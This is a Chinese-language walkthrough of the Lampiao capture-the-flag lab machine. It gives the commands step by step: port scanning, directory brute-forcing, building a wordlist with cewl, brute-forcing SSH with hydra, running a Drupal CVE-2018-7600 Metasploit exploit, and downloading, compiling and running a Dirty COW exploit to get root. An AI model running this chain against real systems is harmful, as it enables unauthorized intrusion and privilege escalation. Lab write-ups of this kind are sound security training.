Lampiao
1.查看可用端口
我们先要找到自己靶机的ip是什么。
ifconfig看一看。
发现是192.168.161段用nmap扫一下看看
找到靶机端口是145
所以我们的靶机是192.168.161.145
继续扫一下看看开了哪些端口
nmap -p- 192.168.161.145
开了22 88 还有1898端口,我们去80端口看一看。
没有什么信息,我们在查看源码看看。
和上面一模一样。
说明在1898端口里面。
进入1898端口。
发现确实存在1898端口。
2.信息枚举
当我们点击read more的时候上面的url会变化
去1和2看看。
1里面根本没有有用信息啊。
去2看看
我们可以看到这里面提及到两个文件
audio.m4a
qrc.png
去下载这两个文件。
一个音频,她读的内容是tiago
还有一张二维码,但是里面的内容是Try harder! muahuahua
这说明只有账号,没有密码。
3.爆破网页目录
dirb http://192.168.161.145:1898/
发现爆破出来一个robots.txt。
进去看一看
发现很多内容。
这里继续枚举进入http://192.168.161.145:1898/CHANGELOG.txt
发现是:Drupal 7.54, 2017-02-01
4.获取密码字典
cewl:通过爬行网站获取关键信息创建一个密码字典
cewl http://192.168.161.145:1898/?q=node/1 -w qjzhalx.txt
5.hydra爆破
hydra -l tiago -P qjzhalx.txt 192.168.161.145 ssh
先利用cewl来生成一份结合网站目标的社工性质的密码字典、不理解的可以搜索网上搜索cewl学习,然后九头蛇暴力破解得到用户密码
得到密码是Virgulino
[22][ssh] host: 192.168.161.145 login: tiago password: Virgulino
6.登陆ssh
ssh tiago@192.168.161.145
输入密码Virgulino
成功进来了。
id看一看。
发现是低权限用户!需要提权
7.提权
谷歌搜索:Drupal 7.54 exploit
1063256 [CVE-2018-7600] Remote Code Execution due to …
接下来用msf来进行
msfconsole
search Drupal
好多,这里我们用1就行
use 1
看看需要填写什么
show options
发现只需要填写ip和端口
直接填写。
set rport 1898
set rhosts 192.168.161.145
接下来直接运行就行了。
run
好的成功了。
我们进入shell
shell
这样没有回显,我们可以用昨天的tty
python -c 'import pty; pty.spawn("/bin/bash")'
成功通过漏洞渗透进入系统,获得低权限用户,和前面ssh登陆的tiago用户权限类似,这是另外一种渗透的方法,可以好好学习。
下一步要找到反弹shell获取root权限,通过网上对Durpal 7版本2016年都可以使用dirty(脏牛)进行提权,非常有名的一个漏洞提权目前已经修复,仅供参考学习。
8.提权2
用kali自带的搜索dirty
searchsploit dirty
好多内容。
我们这里使用Linux Kernel 2.6.22 < 3.9 – ‘Dirty COW /proc/self/mem’ Race Condition Privile | linux/local/40847.cpp
拷贝到我们的文件夹中
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/Desktop/baji/lampiao
继续开启本地pthon服务,然后把40847.cp发送到靶机上
python -m http.server 8081
然后我们在ssh或者msf得到的shell里面输入
wget http://192.168.161.142:8081/40847.cpp
上传成功。
我们去官网看看这个漏洞用了什么。
发现这个cpp只用一个命令就行
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o qjzhalx 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o qjzhalx gcc生成的目标文件,名字为qjzhalx
看看靶机有没有gcc。
存在gcc
直接用就行。
好了接着运行qjzhalx
./qjzhalx
得到root密码
dirtyCowFun
9.登录root-ssh
ssh root@192.168.161.145
最后得到flag。